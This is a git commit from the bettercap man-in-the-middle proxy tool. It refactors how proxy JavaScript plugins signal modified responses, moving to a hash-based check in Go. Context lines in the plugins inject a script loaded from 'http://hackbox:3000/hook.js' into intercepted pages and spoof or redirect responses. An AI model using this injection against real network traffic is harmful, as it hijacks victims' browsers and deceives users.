fix: no more explicit call to that ugly Updated method from proxy js plugins

This commit is contained in:
evilsocket 2018-02-08 12:32:22 +01:00
parent 3c2932514a
commit adc2dde170
7 changed files with 26 additions and 16 deletions

View file

@ -11,7 +11,6 @@ function onResponse(req, res) {
'</head>',
'<script type="text/javascript" src="http://hackbox:3000/hook.js"></script></head>'
);
res.Updated();
}
}
}

View file

@ -19,6 +19,5 @@ function onRequest(req, res) {
res.Status = 301;
res.Headers = "Location: https://www.facebook.com/\n" +
"Connection: close";
res.Updated()
}
}

View file

@ -26,7 +26,6 @@ function onRequest(req, res) {
res.ContentType = "text/html";
res.Headers = "Connection: close";
res.Body = "";
res.Updated();
}
}
@ -42,7 +41,6 @@ function onResponse(req, res) {
'</script>' +
'</head>'
);
res.Updated();
}
}
}

View file

@ -18,8 +18,6 @@ function onRequest(req, res) {
"<div align=\"center\">Hello world from bettercap-ng!</div>" +
"</body>" +
"</html>";
res.Updated();
}
}
@ -37,6 +35,5 @@ function onResponse(req, res) {
"<div align=\"center\">Custom 404 from bettercap-ng.</div>" +
"</body>" +
"</html>";
res.Updated();
}
}

View file

@ -5,6 +5,4 @@ function onRequest(req, res) {
res.ContentType = "text/html";
res.Headers = "Connection: close";
res.Body = readFile("caplets/www/index.html");
res.Updated();
}

View file

@ -1,6 +1,7 @@
package modules
import (
"fmt"
"io/ioutil"
"net/http"
"strings"
@ -16,7 +17,7 @@ type JSResponse struct {
Headers string
Body string
wasUpdated bool
refHash string
resp *http.Response
}
@ -33,16 +34,31 @@ func NewJSResponse(res *http.Response) *JSResponse {
}
}
return &JSResponse{
resp := &JSResponse{
Status: res.StatusCode,
ContentType: cType,
Headers: headers,
resp: res,
}
resp.UpdateHash()
return resp
}
func (j *JSResponse) Updated() {
j.wasUpdated = true
func (j *JSResponse) NewHash() string {
return fmt.Sprintf("%d.%s.%s.%s", j.Status, j.ContentType, j.Headers, j.Body)
}
func (j *JSResponse) UpdateHash() {
j.refHash = j.NewHash()
}
func (j *JSResponse) WasModified() bool {
newHash := j.NewHash()
if newHash != j.refHash {
return true
}
return false
}
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
@ -71,6 +87,7 @@ func (j *JSResponse) ReadBody() string {
}
j.Body = string(raw)
j.UpdateHash()
return j.Body
}

View file

@ -168,7 +168,8 @@ func (s *ProxyScript) OnRequest(req *http.Request) *JSResponse {
return nil
}
if jsres.wasUpdated == true {
if jsres.WasModified() {
jsres.UpdateHash()
return jsres
}
}
@ -193,7 +194,8 @@ func (s *ProxyScript) OnResponse(res *http.Response) *JSResponse {
return nil
}
if jsres.wasUpdated == true {
if jsres.WasModified() {
jsres.UpdateHash()
return jsres
}
}